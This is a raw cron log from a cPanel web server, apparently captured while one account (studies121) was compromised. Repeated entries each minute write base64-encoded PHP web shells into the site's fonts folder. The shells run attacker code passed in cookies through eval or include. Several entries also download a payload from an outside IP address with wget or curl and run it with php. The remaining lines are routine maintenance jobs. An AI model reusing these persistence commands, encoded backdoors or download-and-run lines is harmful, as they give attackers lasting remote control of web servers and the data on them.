Sep 10 17:52:01 ip-184-168-122-23 CROND[17442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:52:01 ip-184-168-122-23 CROND[17443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:52:01 ip-184-168-122-23 CROND[17444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:53:01 ip-184-168-122-23 CROND[17547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:53:01 ip-184-168-122-23 CROND[17550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:53:01 ip-184-168-122-23 CROND[17549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:53:01 ip-184-168-122-23 CROND[17551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:54:01 ip-184-168-122-23 CROND[17665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:54:01 ip-184-168-122-23 CROND[17670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:54:01 ip-184-168-122-23 CROND[17667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:54:01 ip-184-168-122-23 CROND[17668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:54:01 ip-184-168-122-23 CROND[17669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:55:01 ip-184-168-122-23 CROND[17801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:55:01 ip-184-168-122-23 CROND[17803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:55:01 ip-184-168-122-23 CROND[17804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:55:01 ip-184-168-122-23 CROND[17806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:55:01 ip-184-168-122-23 CROND[17808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:55:01 ip-184-168-122-23 CROND[17809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:56:01 ip-184-168-122-23 CROND[18062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:56:01 ip-184-168-122-23 CROND[18063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:56:01 ip-184-168-122-23 CROND[18064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:56:01 ip-184-168-122-23 CROND[18066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:56:01 ip-184-168-122-23 CROND[18068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:57:01 ip-184-168-122-23 CROND[18228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:57:01 ip-184-168-122-23 CROND[18231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:57:01 ip-184-168-122-23 CROND[18230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:57:01 ip-184-168-122-23 CROND[18233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:58:02 ip-184-168-122-23 CROND[18429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:58:02 ip-184-168-122-23 CROND[18433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:58:02 ip-184-168-122-23 CROND[18430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:58:02 ip-184-168-122-23 CROND[18432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:58:02 ip-184-168-122-23 CROND[18431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:59:01 ip-184-168-122-23 CROND[18595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:59:01 ip-184-168-122-23 CROND[18596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:59:01 ip-184-168-122-23 CROND[18597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:59:01 ip-184-168-122-23 CROND[18599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:00:01 ip-184-168-122-23 CROND[18750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:00:01 ip-184-168-122-23 CROND[18751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:00:01 ip-184-168-122-23 CROND[18753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:00:01 ip-184-168-122-23 CROND[18754]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 18:00:01 ip-184-168-122-23 CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:00:01 ip-184-168-122-23 CROND[18756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:00:01 ip-184-168-122-23 CROND[18760]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:00:01 ip-184-168-122-23 CROND[18761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:00:01 ip-184-168-122-23 CROND[18758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:01:01 ip-184-168-122-23 CROND[18963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:01:01 ip-184-168-122-23 CROND[18965]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 18:01:01 ip-184-168-122-23 CROND[18966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:01:01 ip-184-168-122-23 CROND[18967]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 18:01:01 ip-184-168-122-23 CROND[18968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:01:01 ip-184-168-122-23 CROND[18971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18965]: starting 0anacron
Sep 10 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18984]: finished 0anacron
Sep 10 18:02:01 ip-184-168-122-23 CROND[19100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:02:01 ip-184-168-122-23 CROND[19104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:02:01 ip-184-168-122-23 CROND[19103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:02:01 ip-184-168-122-23 CROND[19101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:02:01 ip-184-168-122-23 CROND[19105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:03:01 ip-184-168-122-23 CROND[19209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:03:01 ip-184-168-122-23 CROND[19210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:03:01 ip-184-168-122-23 CROND[19212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:03:01 ip-184-168-122-23 CROND[19213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:04:01 ip-184-168-122-23 CROND[19325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:04:01 ip-184-168-122-23 CROND[19328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
